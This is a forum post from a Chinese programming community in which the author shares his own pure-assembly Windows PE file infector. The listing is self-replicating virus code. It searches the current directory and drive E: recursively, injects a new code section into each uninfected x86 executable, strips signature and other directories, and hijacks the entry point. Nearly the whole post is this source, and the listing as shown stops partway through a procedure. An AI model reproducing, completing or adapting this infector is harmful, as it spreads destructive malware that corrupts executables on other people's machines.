鱼C论坛

 找回密码
 立即注册
查看: 2027|回复: 1

[技术交流] 刚来鱼C的时候发过一篇汇编感染PE文件 现在再发一篇

[复制链接]
发表于 2017-6-10 13:56:32 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
我记得刚来fishc的时候一片感染PE文件的代码
不过这个不是我写的

现在发一个我写的吧 过年的时候做的。

一样是纯汇编。
  1. .686p
  2. .model flat,stdcall
  3. option casemap:none
  4. include InfectPe.inc ;include windows.inc
  5. .code
  6. start:
  7.         assume fs:nothing
  8.         jmp Shell_
  9.         ;需要的变量
  10.         Id                                dd        0
  11.         FileOep                                dd        0
  12.         JmpAddress                        dd        0
  13.         aShell                                dd        0
  14.         Kernel32                        dd        0
  15.         ;需要的API地址
  16.         _FindFirstFile                        dd        0
  17.         _FindNextFile                        dd        0
  18.         _LoadLibraryA                        dd        0
  19.         _CreateFileA                        dd        0
  20.         _MapViewOfFile                        dd        0
  21.         _CreateFileMappingA                dd        0
  22.         _GetFileSize                        dd        0
  23.         _CloseHandle                        dd        0
  24.         _UnmapViewOfFile                dd        0
  25.         _FindClose                        dd        0
  26.         _WriteFile                        dd        0
  27.         _MessageBox                        dd        0
  28.         _SetFilePointer                        dd        0
  29.         _VirtualAlloc                        dd        0
  30.         _VirtualFree                        dd        0
  31.         _GetCurrentDirectory                dd        0
  32.         _ReadFile                        dd        0
  33.         NameOfKernel32                        db        'kernel32.dll',0
  34.         NameOfUser32                        db        'user32.dll',0
  35.         ;API名字
  36.         NameOfReadFile                        db        'ReadFile',0
  37.         NameOfVirtualFree                db        'VirtualFree',0
  38.         NameOfVirtualAlloc                db        'VirtualAlloc',0
  39.         NameOfGetCurrentDirectory        db        'GetCurrentDirectoryA',0
  40.         NameOfSetFilePointer                db        'SetFilePointer',0
  41.         NameOfMessageBoxA                db        'MessageBoxA',0
  42.         NameOfExitThread                db        'ExitProcess',0
  43.         NameOfFindClose                        db        'FindClose',0
  44.         NameOfCreateFile                db        'CreateFileA',0
  45.         NameOfMapViewOfFile                db        'MapViewOfFile',0
  46.         NameOfCreateFileMappingA        db        'CreateFileMappingA',0
  47.         NameOfGetFileSize                db        'GetFileSize',0
  48.         NameOfCloseHandle                db        'CloseHandle',0
  49.         NameOfUnmapViewOfFile                db        'UnmapViewOfFile',0
  50.         NameOfFindFirstFile                 db        'FindFirstFileA',0
  51.         NameOfWriteFile                        db        'WriteFile',0
  52.         NameOfFindNextFile                db        'FindNextFileA',0
  53.         NameOfVirtualProtect                db        'VirtualProtect',0
  54.         NameOfLoadLibraryA                db        'LoadLibraryA',0
  55.         FileName                        db        MAX_PATH dup(0)
  56.         AddName                                db        '\*.*',0
  57.         AddName1                        db        '\',0
  58.         DriveName                        db        '?:',0
  59.         s                                db        '.',0
  60.         ss_                                db        '..',0
  61.         ;Message
  62.         db 'Hello World!',0dh,0ah
  63.         db 'Coded by _KaQqi',0dh,0ah
  64.         db '    11:28',0dh,0ah
  65.         db '2017 - 2 - 7',0
  66. Shell_:
  67.         sub esp,4
  68.         pushfd
  69.         pushad
  70.         call Shell
  71. Shell:
  72.         pop ebp ;Shell的地址
  73.         sub ebp,Shell - start ;程序的起始地址
  74.         ;设置SEH链
  75.         xor eax,eax
  76.         xor eax,SehCallBack - start
  77.         add eax,ebp
  78.         sub esp,4
  79.         xor edx,edx
  80.         xor edx,dword ptr ss:[esp]
  81.         xor dword ptr ss:[esp],edx
  82.         xor dword ptr ss:[esp],eax
  83.         sub esp,4
  84.         xor eax,eax
  85.         xor eax,dword ptr fs:[0]
  86.         xor edx,edx
  87.         xor edx,dword ptr ss:[esp]
  88.         xor dword ptr ss:[esp],edx
  89.         xor dword ptr ss:[esp],eax
  90.         xor edx,edx
  91.         xor edx,dword ptr fs:[0]
  92.         xor dword ptr fs:[0],edx
  93.         xor dword ptr fs:[0],esp
  94.         ;初始化
  95.         push ebp
  96.         call SHELLPAGE_EXECUTE_READWRITE
  97.         mov [aShell - start + ebp],ebp
  98.         call GetKernelBase
  99.         mov eax,ebp
  100.         add eax,NameOfLoadLibraryA - start
  101.         push eax
  102.         call GetKernelBase
  103.         push eax
  104.         call ShellGetProcAddress
  105.         mov [_LoadLibraryA - start + ebp],eax
  106.         mov eax,ebp
  107.         add eax,NameOfKernel32 - start
  108.         push eax
  109.         mov eax,[_LoadLibraryA - start + ebp]
  110.         call eax
  111.         mov [Kernel32 - start + ebp],eax
  112.         mov eax,ebp
  113.         add eax,NameOfFindFirstFile - start
  114.         push eax
  115.         push [Kernel32 - start + ebp]
  116.         call ShellGetProcAddress
  117.         mov [_FindFirstFile - start + ebp],eax
  118.         mov eax,ebp
  119.         add eax,NameOfFindNextFile - start
  120.         push eax
  121.         push [Kernel32 - start + ebp]
  122.         call ShellGetProcAddress
  123.         mov [_FindNextFile - start + ebp],eax
  124.         mov eax,ebp
  125.         add eax,NameOfCreateFile - start
  126.         push eax
  127.         push [Kernel32 - start + ebp]
  128.         call ShellGetProcAddress
  129.         mov [_CreateFileA - start + ebp],eax
  130.         mov eax,ebp
  131.         add eax,NameOfGetFileSize - start
  132.         push eax
  133.         push [Kernel32 - start + ebp]
  134.         call ShellGetProcAddress
  135.         mov [_GetFileSize - start + ebp],eax
  136.         mov eax,ebp
  137.         add eax,NameOfCreateFileMappingA - start
  138.         push eax
  139.         push [Kernel32 - start + ebp]
  140.         call ShellGetProcAddress
  141.         mov [_CreateFileMappingA - start + ebp],eax
  142.         mov eax,ebp
  143.         add eax,NameOfMapViewOfFile - start
  144.         push eax
  145.         push [Kernel32 - start + ebp]
  146.         call ShellGetProcAddress
  147.         mov [_MapViewOfFile - start + ebp],eax
  148.         mov eax,ebp
  149.         add eax,NameOfUnmapViewOfFile - start
  150.         push eax
  151.         push [Kernel32 - start + ebp]
  152.         call ShellGetProcAddress
  153.         mov [_UnmapViewOfFile - start + ebp],eax
  154.         mov eax,ebp
  155.         add eax,NameOfCloseHandle - start
  156.         push eax
  157.         push [Kernel32 - start + ebp]
  158.         call ShellGetProcAddress
  159.         mov [_CloseHandle - start + ebp],eax
  160.         mov eax,ebp
  161.         add eax,NameOfFindClose - start
  162.         push eax
  163.         push [Kernel32 - start + ebp]
  164.         call ShellGetProcAddress
  165.         mov [_FindClose - start + ebp],eax
  166.         mov eax,ebp
  167.         add eax,NameOfMessageBoxA - start
  168.         push eax
  169.         mov eax,ebp
  170.         add eax,NameOfUser32 - start
  171.         push eax
  172.         call dword ptr cs:[_LoadLibraryA - start + ebp]
  173.         push eax
  174.         call ShellGetProcAddress
  175.         mov [_MessageBox - start + ebp],eax
  176.         mov eax,ebp
  177.         add eax,NameOfWriteFile - start
  178.         push eax
  179.         push [Kernel32 - start + ebp]
  180.         call ShellGetProcAddress
  181.         mov [_WriteFile - start + ebp],eax
  182.         mov eax,ebp
  183.         add eax,NameOfSetFilePointer - start
  184.         push eax
  185.         push [Kernel32 - start + ebp]
  186.         call ShellGetProcAddress
  187.         mov [_SetFilePointer - start + ebp],eax
  188.         mov eax,ebp
  189.         add eax,NameOfGetCurrentDirectory - start
  190.         push eax
  191.         push [Kernel32 - start + ebp]
  192.         call ShellGetProcAddress
  193.         mov [_GetCurrentDirectory - start + ebp],eax
  194.         mov eax,ebp
  195.         add eax,NameOfVirtualAlloc - start
  196.         push eax
  197.         push [Kernel32 - start + ebp]
  198.         call ShellGetProcAddress
  199.         mov [_VirtualAlloc - start + ebp],eax
  200.         mov eax,ebp
  201.         add eax,NameOfVirtualFree - start
  202.         push eax
  203.         push [Kernel32 - start + ebp]
  204.         call ShellGetProcAddress
  205.         mov [_VirtualFree - start + ebp],eax
  206.         mov eax,ebp
  207.         add eax,NameOfReadFile - start
  208.         push eax
  209.         push [Kernel32 - start + ebp]
  210.         call ShellGetProcAddress
  211.         mov [_ReadFile - start + ebp],eax
  212.         call ShellStart
  213.         ;准备返回
  214.         mov eax,dword ptr cs:[FileOep - start + ebp]
  215.         .if eax == NULL
  216.                 mov eax,ebp
  217.                 add eax,NameOfExitThread - start
  218.                 push eax
  219.                 push [Kernel32 - start + ebp]
  220.                 call ShellGetProcAddress
  221.                 mov [JmpAddress - start + ebp],eax
  222.                 push MB_OK
  223.                 push NULL
  224.                 lea eax,[END_MSG - start + ebp]
  225.                 push eax
  226.                 push NULL
  227.                 call dword ptr cs:[_MessageBox - start + ebp]
  228.         .else
  229.                 push MB_OK
  230.                 push NULL
  231.                 lea eax,[END_MSG1 - start + ebp]
  232.                 push eax
  233.                 push NULL
  234.                 call dword ptr cs:[_MessageBox - start + ebp]
  235.                 ;取出当前进程的ImageBase
  236.                 mov eax,dword ptr fs:[30h]
  237.                 mov eax,dword ptr ds:[eax + 8h]
  238.                 ;得到OEP
  239.                 add eax,dword ptr cs:[FileOep - start + ebp]
  240.                 mov [JmpAddress - start + ebp],eax
  241.         .endif
  242.         ;恢复SEH链
  243.         xor edx,edx
  244.         xor edx,dword ptr fs:[0]
  245.         xor dword ptr fs:[0],edx
  246.         xor edx,edx
  247.         xor edx,dword ptr ss:[esp]
  248.         xor dword ptr fs:[0],edx
  249.         add esp,8
  250.         add esp,40
  251.         push dword ptr cs:[JmpAddress - start + ebp]
  252.         sub esp,36
  253.         popad
  254.         popfd
  255.         retn;返回
  256. SehCallBack proc
  257.         assume ebx:ptr CONTEXT
  258.         mov ebx,dword ptr ss:[esp + 12] ;PCONTEXT参数
  259.         xor eax,eax
  260.         retn 16
  261. SehCallBack endp
  262. RtlGetAnsiStringLength proc lpString:DWORD
  263.         LOCAL i:DWORD
  264.         mov eax,i
  265.         xor i,eax
  266.         pushad
  267.         mov edi,lpString
  268.         mov eax,i
  269.         jmp @
  270. _Loop:
  271.         inc i
  272.         mov eax,i
  273. @:
  274.         cmp byte ptr ds:[edi + eax],NULL
  275.         jnz _Loop
  276.         popad
  277.         mov eax,i
  278.         ret
  279. RtlGetAnsiStringLength endp
  280. RtlCompareAnsiString proc ;比较两个ANSI字符串 相等返回1 不相等返回0 (stdcall)
  281.         mov esi,dword ptr ss:[esp + 4]
  282.         mov edi,dword ptr ss:[esp + 8]
  283.         push ecx
  284.         push esi
  285.         call RtlGetAnsiStringLength
  286.         push eax
  287.         push edi
  288.         call RtlGetAnsiStringLength
  289.         mov ecx,eax
  290.         pop eax
  291.         xor eax,ecx
  292.         cmove eax,ecx
  293.         xor ebx,ebx
  294.         xor ecx,eax
  295.         mov ecx,eax
  296.         cmovnz ecx,ebx
  297.         repe cmpsb
  298.         pushfd
  299.         xor ebx,ebx
  300.         inc ebx
  301.         xor eax,eax
  302.         popfd
  303.         cmove eax,ebx
  304.         pop ecx
  305.         retn 8
  306. RtlCompareAnsiString endp
  307. ShellGetProcAddress proc hModule:DWORD,lpBuffer:DWORD
  308.         LOCAL i:DWORD
  309.         mov esi,hModule
  310.         assume esi:ptr IMAGE_DOS_HEADER
  311.         add esi,[esi].e_lfanew
  312.         assume esi:ptr IMAGE_NT_HEADERS32
  313.         mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
  314.         add esi,hModule
  315.         assume esi:ptr IMAGE_EXPORT_DIRECTORY
  316.         mov ecx,[esi].NumberOfNames ;导出函数的名字的个数
  317.         mov edx,[esi].AddressOfNames
  318.         add edx,hModule
  319.         push esi
  320.         mov i,0
  321. _Loop:
  322.         mov eax,i
  323.         mov edi,dword ptr ds:[edx + eax * sizeof DWORD]
  324.         add edi,hModule
  325.         push edi
  326.         push lpBuffer
  327.         call RtlCompareAnsiString
  328.         and eax,eax
  329.         pushfd
  330.         xor ebx,ebx
  331.         popfd
  332.         mov eax,ecx
  333.         cmovnz ecx,ebx
  334.         inc i ;计数
  335.         test ecx,ecx
  336.         jnz _Loop
  337.         pop esi
  338.         ;得到导出函数序号
  339.         mov edx,eax
  340.         xor eax,eax
  341.         mov ecx,[esi].NumberOfNames
  342.         xor ecx,i
  343.         je Return
  344.         mov ecx,i
  345.         mov edx,[esi].AddressOfNameOrdinals
  346.         add edx,hModule
  347.         xor eax,eax
  348.         mov ax,word ptr ds:[edx + ecx * sizeof WORD]
  349.         ;取出导出函数的RVA
  350.         dec eax
  351.         mov edx,[esi].AddressOfFunctions
  352.         add edx,hModule
  353.         mov eax,dword ptr ds:[edx + eax * sizeof DWORD]
  354.         ;得到地址
  355.         add eax,hModule
  356. Return:
  357.         assume esi:nothing
  358.         ret
  359. ShellGetProcAddress endp
  360. SHELLPAGE_EXECUTE_READWRITE proc hModule:DWORD;修改代码段的权限为PAGE_EXECUTE_READWRITE
  361.         LOCAL Old:DWORD
  362.         mov eax,hModule
  363.         add eax,NameOfVirtualProtect - start
  364.         push eax
  365.         call GetKernelBase
  366.         push eax
  367.         call ShellGetProcAddress
  368.         lea edx,Old
  369.         push edx
  370.         push PAGE_EXECUTE_READWRITE
  371.         push Shell_ - start
  372.         push hModule
  373.         call eax
  374.         ret
  375. SHELLPAGE_EXECUTE_READWRITE endp
  376. GetKernelBase proc
  377.         ;摘自网络
  378.         cld
  379.         xor edx,edx
  380.         mov edx,dword ptr fs:[edx + 30h]
  381.         mov edx,dword ptr ds:[edx + 0Ch]
  382.         mov edx,dword ptr ds:[edx + 14h]
  383. next_mod:
  384.         mov esi,dword ptr ds:[edx + 28h]
  385.         push 24
  386.         pop ecx
  387.         xor edi,edi
  388. loop_modname:
  389.         xor eax,eax
  390.         lodsb
  391.         cmp al,'a'
  392.         jl not_lowercase
  393.         sub al,20h
  394. not_lowercase:
  395.         ror edi,13
  396.         add edi,eax
  397.         loop loop_modname
  398.         cmp edi,6A4ABC5Bh
  399.         mov ebx,dword ptr ds:[edx + 10h]
  400.         mov edx,dword ptr ds:[edx]
  401.         jnz next_mod
  402.         mov eax,ebx
  403.         ret
  404. GetKernelBase endp
  405. ShellStart proc;Shell入口
  406.         call MyCall
  407.         ret
  408. ShellStart endp
  409. MyCall proc
  410.         call CallNext
  411. CallNext: ;得到Shell入口
  412.         pop edx
  413.         sub edx,5
  414.         sub edx,MyCall - start
  415.         ;先感染当前目录
  416.         ;获取当前程序的目录
  417.         push edx
  418.         push edx
  419.         mov eax,FileName - start
  420.         add eax,edx
  421.         push eax
  422.         push sizeof FileName
  423.         call dword ptr cs:[_GetCurrentDirectory - start + edx]
  424.         pop edx
  425.         lea eax,MyFileCallBack
  426.         sub eax,start
  427.         add eax,edx
  428.         push eax ;回调函数
  429.         lea eax,[FileName - start + edx]
  430.         push eax
  431.         push edx
  432.         call ShellFindFile
  433.         pop edx
  434.         ;E盘
  435.         mov eax,DriveName - start
  436.         add eax,edx
  437.         mov byte ptr ds:[eax],'E'
  438.         lea eax,MyFileCallBack
  439.         sub eax,start
  440.         add eax,edx
  441.         push eax ;回调函数
  442.         lea eax,[DriveName - start + edx]
  443.         push eax
  444.         push edx
  445.         call ShellFindFile
  446.         ret
  447. MyCall endp
  448. _ZeroMemory proc Destination:DWORD,MemoryLength:DWORD
  449.         pushad
  450.         mov edx,Destination
  451.         xor ecx,ecx
  452.         .while ecx != MemoryLength
  453.                 mov al,byte ptr ds:[edx + ecx]
  454.                 xor byte ptr ds:[edx + ecx],al
  455.                 inc ecx
  456.         .endw
  457.         popad
  458.         ret
  459. _ZeroMemory endp
  460. ShellFindFile proc hModule:DWORD,lpFileNameString:DWORD,CallBackFunction:DWORD
  461.         LOCAL FindFileData:WIN32_FIND_DATA
  462.         LOCAL FindHandle:DWORD
  463.         LOCAL MyBool:BOOL
  464.         LOCAL MyFile[MAX_PATH]:CHAR
  465.         LOCAL File[MAX_PATH]:CHAR
  466.         LOCAL MyFile1[MAX_PATH]:CHAR
  467.         ;指明通配符
  468.         push lpFileNameString
  469.         call RtlGetAnsiStringLength
  470.         push eax ;长度
  471.         push lpFileNameString
  472.         lea eax,MyFile1
  473.         push eax
  474.         call RtlCopyAnsiString
  475.         mov eax,hModule
  476.         add eax,AddName - start
  477.         push eax
  478.         lea eax,MyFile1
  479.         push eax
  480.         call RtlAddAnsiString
  481.         ;第一个
  482.         lea eax,FindFileData
  483.         push eax
  484.         lea eax,MyFile1
  485.         push eax
  486.         mov eax,hModule
  487.         call dword ptr cs:[_FindFirstFile - start + eax]
  488.         .if eax != INVALID_HANDLE_VALUE
  489.                 mov FindHandle,eax
  490.                 .repeat
  491.                         assume edx:ptr WIN32_FIND_DATA
  492.                         ;过滤掉上一级目录
  493.                         lea edx,FindFileData
  494.                         lea ebx,[edx].cFileName
  495.                         mov eax,hModule
  496.                         add eax,s - start
  497.                         push eax
  498.                         push ebx
  499.                         call RtlCompareAnsiString
  500.                         xor eax,1
  501.                         je Next
  502.                         lea edx,FindFileData
  503.                         lea ebx,[edx].cFileName
  504.                         mov eax,hModule
  505.                         add eax,ss_ - start
  506.                         push eax
  507.                         push ebx
  508.                         call RtlCompareAnsiString
  509.                         xor eax,1
  510.                         je Next
  511.                         lea edx,FindFileData
  512.                         mov eax,[edx].dwFileAttributes
  513.                         and eax,FILE_ATTRIBUTE_DIRECTORY
  514.                         .if eax != NULL ;目录
  515.                                 ;下一个扫描路径
  516.                                 push lpFileNameString
  517.                                 call RtlGetAnsiStringLength
  518.                                 push eax ;长度
  519.                                 push lpFileNameString
  520.                                 lea eax,File
  521.                                 push eax
  522.                                 call RtlCopyAnsiString
  523.                                 mov eax,hModule
  524.                                 add eax,AddName1 - start
  525.                                 push eax
  526.                                 lea eax,File
  527.                                 push eax
  528.                                 call RtlAddAnsiString
  529.                                 lea edx,FindFileData
  530.                                 lea eax,[edx].cFileName
  531.                                 push eax
  532.                                 lea eax,File
  533.                                 push eax
  534.                                 call RtlAddAnsiString
  535.                                 push CallBackFunction
  536.                                 lea eax,File
  537.                                 push eax
  538.                                 push hModule
  539.                                 call ShellFindFile
  540.                         .else ;回调函数
  541.                                 push lpFileNameString
  542.                                 call RtlGetAnsiStringLength
  543.                                 push eax ;长度
  544.                                 push lpFileNameString
  545.                                 lea eax,MyFile
  546.                                 push eax
  547.                                 call RtlCopyAnsiString       
  548.                                 mov eax,hModule
  549.                                 add eax,AddName1 - start
  550.                                 push eax
  551.                                 lea eax,MyFile
  552.                                 push eax
  553.                                 call RtlAddAnsiString
  554.                                 lea edx,FindFileData
  555.                                 lea eax,[edx].cFileName
  556.                                 push eax
  557.                                 lea eax,MyFile
  558.                                 push eax
  559.                                 call RtlAddAnsiString
  560.                                 lea eax,MyFile
  561.                                 push eax
  562.                                 push hModule
  563.                                 call CallBackFunction
  564.                         .endif
  565.                         assume edx:nothing
  566. Next: ;循环尾
  567.                         lea eax,FindFileData
  568.                         push eax
  569.                         push FindHandle
  570.                         mov eax,hModule
  571.                         call dword ptr cs:[_FindNextFile - start + eax]
  572.                         mov MyBool,eax
  573.                 .until MyBool == FALSE
  574.         .endif
  575. RetNext:
  576.         ;返回
  577.         push FindHandle
  578.         mov eax,hModule
  579.         call dword ptr cs:[_FindClose - start + eax]
  580.         ret
  581. ShellFindFile endp
  582. MyFileCallBack proc hModule:DWORD,lpFileNameString:DWORD ;枚举文件的回调函数
  583.         ;感染文件
  584.         LOCAL Written:DWORD
  585.         LOCAL dwFileSize:DWORD
  586.         LOCAL hFile:DWORD
  587.         LOCAL hMap:DWORD
  588.         LOCAL lpBuffer:DWORD
  589.         LOCAL SectionAlignment:DWORD
  590.         LOCAL FileAlignment:DWORD
  591.         LOCAL nSec:WORD ;区块个数
  592.         LOCAL PointerToRawData:DWORD
  593.         LOCAL VirtualAddress:DWORD
  594.         LOCAL dwShellSize:DWORD
  595.         LOCAL AddressOfEntryPoint:DWORD ;入口点
  596.         LOCAL IsShell:DWORD ;是否是本体
  597.         LOCAL Overlay:DWORD ;附加数据
  598.         LOCAL SizeOfOverlay:DWORD ;附加数据大小
  599.         LOCAL Read:DWORD
  600.         mov Overlay,NULL
  601.         ;获取Shell的大小
  602.         mov eax,END_
  603.         sub eax,start
  604.         mov dwShellSize,eax
  605.         ;打开lpFileNameString指向的文件
  606.         push NULL
  607.         push FILE_ATTRIBUTE_NORMAL
  608.         push OPEN_EXISTING
  609.         push NULL
  610.         push FILE_SHARE_READ
  611.         mov eax,GENERIC_READ
  612.         or eax,GENERIC_WRITE
  613.         push eax
  614.         push lpFileNameString
  615.         mov eax,hModule
  616.         call dword ptr cs:[_CreateFileA - start + eax]
  617.         cmp eax,INVALID_HANDLE_VALUE
  618.         je Exit_Ret
  619.         mov hFile,eax ;文件句柄
  620.         ;获取文件的长度
  621.         push NULL
  622.         push eax
  623.         mov eax,hModule
  624.         call dword ptr cs:[_GetFileSize - start + eax]
  625.         or eax,eax
  626.         je Closed
  627.         mov dwFileSize,eax
  628.         ;创建文件映射
  629.         push NULL
  630.         push dwFileSize
  631.         push NULL
  632.         push PAGE_READWRITE
  633.         push NULL
  634.         push hFile
  635.         mov eax,hModule
  636.         call dword ptr cs:[_CreateFileMappingA - start + eax]
  637.         cmp eax,INVALID_HANDLE_VALUE
  638.         je Closed
  639.         mov hMap,eax
  640.         ;将文件映射到内存
  641.         push dwFileSize
  642.         push NULL
  643.         push NULL
  644.         mov eax,FILE_MAP_READ
  645.         or eax,FILE_MAP_WRITE
  646.         push eax
  647.         push hMap
  648.         mov eax,hModule
  649.         call dword ptr cs:[_MapViewOfFile - start + eax]
  650.         or eax,eax
  651.         je CloseFileMapping
  652.         mov lpBuffer,eax
  653.         ;PE文件?
  654.         assume esi:ptr IMAGE_DOS_HEADER
  655.         mov esi,lpBuffer
  656.         cmp [esi].e_magic,IMAGE_DOS_SIGNATURE
  657.         jnz __UnMapViewOfFile
  658.         mov esi,lpBuffer
  659.         add esi,[esi].e_lfanew
  660.         assume esi:ptr IMAGE_NT_HEADERS32
  661.         cmp [esi].Signature,IMAGE_NT_SIGNATURE
  662.         jnz __UnMapViewOfFile
  663.         ;Intel x86 PE文件?
  664.         cmp [esi].FileHeader.Machine,IMAGE_FILE_MACHINE_I386
  665.         jnz __UnMapViewOfFile
  666.         push esi
  667.         push lpBuffer
  668.         push hModule
  669.         call IsInfected
  670.         or eax,eax
  671.         jnz __UnMapViewOfFile
  672.         ;PE文件区块个数
  673.         mov ax,[esi].FileHeader.NumberOfSections
  674.         mov nSec,ax
  675.         or ax,ax
  676.         je __UnMapViewOfFile
  677.         ;检测附加数据
  678.         assume edi:ptr IMAGE_SECTION_HEADER
  679.         lea edi,[esi].OptionalHeader
  680.         xor eax,eax
  681.         mov ax,[esi].FileHeader.SizeOfOptionalHeader
  682.         add edi,eax
  683.         xor eax,eax
  684.         mov ax,nSec
  685.         dec ax
  686.         mov ebx,sizeof IMAGE_SECTION_HEADER
  687.         mul ebx
  688.         add edi,eax ;定位到最后一个区块
  689.         mov eax,[edi].PointerToRawData
  690.         add eax,[edi].SizeOfRawData
  691.         .if eax < dwFileSize ;存在附加数据
  692.                 mov ebx,dwFileSize
  693.                 sub ebx,eax
  694.                 mov SizeOfOverlay,ebx
  695.                 ;申请一块内存
  696.                 push PAGE_EXECUTE_READWRITE
  697.                 push MEM_COMMIT
  698.                 push SizeOfOverlay
  699.                 push NULL
  700.                 mov eax,hModule
  701.                 call dword ptr cs:[_VirtualAlloc - start + eax]
  702.                 mov Overlay,eax
  703.                 mov edx,[edi].PointerToRawData
  704.                 add edx,[edi].SizeOfRawData
  705.                 ;移动到附加数据处
  706.                 push FILE_BEGIN
  707.                 push NULL
  708.                 push edx
  709.                 push hFile
  710.                 mov edx,hModule
  711.                 call dword ptr cs:[_SetFilePointer - start + edx]
  712.                 ;保存附加数据
  713.                 push NULL
  714.                 lea eax,Read
  715.                 push eax
  716.                 push SizeOfOverlay
  717.                 push Overlay
  718.                 push hFile
  719.                 mov edx,hModule
  720.                 call dword ptr cs:[_ReadFile - start + edx]
  721.         .endif
  722.         ;PE文件入口点
  723.         mov eax,[esi].OptionalHeader.AddressOfEntryPoint
  724.         mov AddressOfEntryPoint,eax
  725.         ;清除绑定输入表
  726.         lea edi,[esi].OptionalHeader.DataDirectory
  727.         lea edi,[edi + IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT * sizeof IMAGE_DATA_DIRECTORY]
  728.         assume edi:ptr IMAGE_DATA_DIRECTORY
  729.         xor eax,eax
  730.         mov [edi].VirtualAddress,eax
  731.         mov [edi].isize,eax
  732.         ;数字签名
  733.         lea edi,[esi].OptionalHeader.DataDirectory
  734.         lea edi,[edi + IMAGE_DIRECTORY_ENTRY_SECURITY * sizeof IMAGE_DATA_DIRECTORY]
  735.         .if [edi].VirtualAddress != NULL
  736.                 ;去掉DEP
  737.                 mov ax,[esi].OptionalHeader.DllCharacteristics
  738.                 and ax,IMAGE_DLLCHARACTERISTICS_NX_COMPAT
  739.                 mov [esi].OptionalHeader.DllCharacteristics,ax
  740.         .endif
  741.         xor eax,eax
  742.         mov [edi].VirtualAddress,eax
  743.         mov [edi].isize,eax
  744.         ;异常目录
  745.         lea edi,[esi].OptionalHeader.DataDirectory
  746.         lea edi,[edi + IMAGE_DIRECTORY_ENTRY_EXCEPTION * sizeof IMAGE_DATA_DIRECTORY]
  747.         xor eax,eax
  748.         mov [edi].VirtualAddress,eax
  749.         mov [edi].isize,eax
  750.         ;PE对齐值
  751.         mov eax,[esi].OptionalHeader.SectionAlignment
  752.         mov SectionAlignment,eax
  753.         mov eax,[esi].OptionalHeader.FileAlignment
  754.         mov FileAlignment,eax
  755.         ;PE文件区块表
  756.         assume edi:ptr IMAGE_SECTION_HEADER
  757.         lea edi,[esi].OptionalHeader
  758.         xor eax,eax
  759.         mov ax,[esi].FileHeader.SizeOfOptionalHeader
  760.         add edi,eax
  761.         ;最后一个
  762.         xor eax,eax
  763.         mov ax,nSec
  764.         mov ebx,sizeof IMAGE_SECTION_HEADER
  765.         mul ebx
  766.         add edi,eax
  767.         ;清零
  768.         push sizeof IMAGE_SECTION_HEADER
  769.         push edi
  770.         call _ZeroMemory
  771.         ;前一个区块
  772.         mov eax,sizeof IMAGE_SECTION_HEADER
  773.         sub edi,eax
  774.         mov eax,[edi].PointerToRawData
  775.         add eax,[edi].SizeOfRawData
  776.         mov PointerToRawData,eax ;新区块的PointerToRawData
  777.         mov eax,[edi].VirtualAddress
  778.         add eax,[edi].Misc.VirtualSize
  779.         mov VirtualAddress,eax ;新区块的VirtualAddress
  780.         ;后一个区块
  781.         mov eax,sizeof IMAGE_SECTION_HEADER
  782.         add edi,eax
  783.         ;对齐后的PointerToRawData
  784.         push FileAlignment
  785.         push PointerToRawData
  786.         call PeAlign
  787.         mov [edi].PointerToRawData,eax
  788.         ;对齐后的VirtualAddress
  789.         push SectionAlignment
  790.         push VirtualAddress
  791.         call PeAlign
  792.         mov [edi].VirtualAddress,eax
  793.         ;对齐后的SizeOfRawData
  794.         push FileAlignment
  795.         push dwShellSize
  796.         call PeAlign
  797.         mov [edi].SizeOfRawData,eax
  798.         ;对齐后的VirtualSize
  799.         push SectionAlignment
  800.         push dwShellSize
  801.         call PeAlign
  802.         mov [edi].Misc.VirtualSize,eax
  803.         ;保存对齐后的SizeOfRawData
  804.         push FileAlignment
  805.         push dwShellSize
  806.         call PeAlign
  807.         mov dwShellSize,eax
  808.         ;新区块的属性
  809.         mov [edi].Characteristics,60000020h
  810.         ;新区块的名字
  811.         rdtsc
  812.         or eax,edx
  813.         lea edx,[edi].Name1
  814.         mov dword ptr ds:[edx],eax
  815.         ;对齐
  816.         mov eax,[edi].VirtualAddress
  817.         add eax,[edi].Misc.VirtualSize
  818.         push SectionAlignment
  819.         push eax
  820.         call PeAlign
  821.         mov [esi].OptionalHeader.SizeOfImage,eax
  822.         inc [esi].FileHeader.NumberOfSections ;增加一个区块
  823.         ;更新入口点
  824.         mov eax,hModule
  825.         add eax,FileOep - start
  826.         .if eax == NULL
  827.                 mov eax,AddressOfEntryPoint
  828.                 mov edx,hModule
  829.                 add edx,FileOep - start
  830.                 mov dword ptr ds:[edx],eax
  831.         .else
  832.                 mov IsShell,12345678h
  833.                 mov eax,hModule
  834.                 add eax,FileOep - start
  835.                 push dword ptr ds:[eax] ;保存原OEP偏移
  836.                 mov eax,AddressOfEntryPoint
  837.                 mov edx,hModule
  838.                 add edx,FileOep - start
  839.                 mov dword ptr ds:[edx],eax
  840.         .endif
  841.         ;移动到PointerToRawData处
  842.         push FILE_BEGIN
  843.         push NULL
  844.         push PointerToRawData
  845.         push hFile
  846.         mov edx,hModule
  847.         call dword ptr cs:[_SetFilePointer - start + edx]
  848.         ;把Shell写入文件
  849.         push NULL
  850.         lea eax,Written
  851.         push eax
  852.         push dwShellSize
  853.         push hModule
  854.         push hFile
  855.         mov edx,hModule
  856.         call dword ptr cs:[_WriteFile - start + edx]
  857.         .if IsShell == 12345678h
  858.                 xor IsShell,12345678h
  859.                 mov eax,hModule
  860.                 add eax,FileOep - start
  861.                 pop dword ptr ds:[eax] ;恢复原OEP偏移
  862.         .endif
  863.         ;更新入口点
  864.         push SectionAlignment
  865.         push VirtualAddress
  866.         call PeAlign
  867.         mov [esi].OptionalHeader.AddressOfEntryPoint,eax
  868.         ;写入附加数据
  869.         .if Overlay != NULL
  870.                 ;移动到文件尾
  871.                 push FILE_END
  872.                 push NULL
  873.                 push NULL
  874.                 push hFile
  875.                 mov edx,hModule
  876.                 call dword ptr cs:[_SetFilePointer - start + edx]
  877.                 ;把附加数据写入文件
  878.                 push NULL
  879.                 lea eax,Written
  880.                 push eax
  881.                 push SizeOfOverlay
  882.                 push Overlay
  883.                 push hFile
  884.                 mov edx,hModule
  885.                 call dword ptr cs:[_WriteFile - start + edx]
  886.                 ;释放内存
  887.                 push MEM_DECOMMIT
  888.                 push SizeOfOverlay
  889.                 push Overlay
  890.                 mov eax,hModule
  891.                 call dword ptr cs:[_VirtualFree - start + eax]
  892.                 mov Overlay,NULL
  893.         .endif
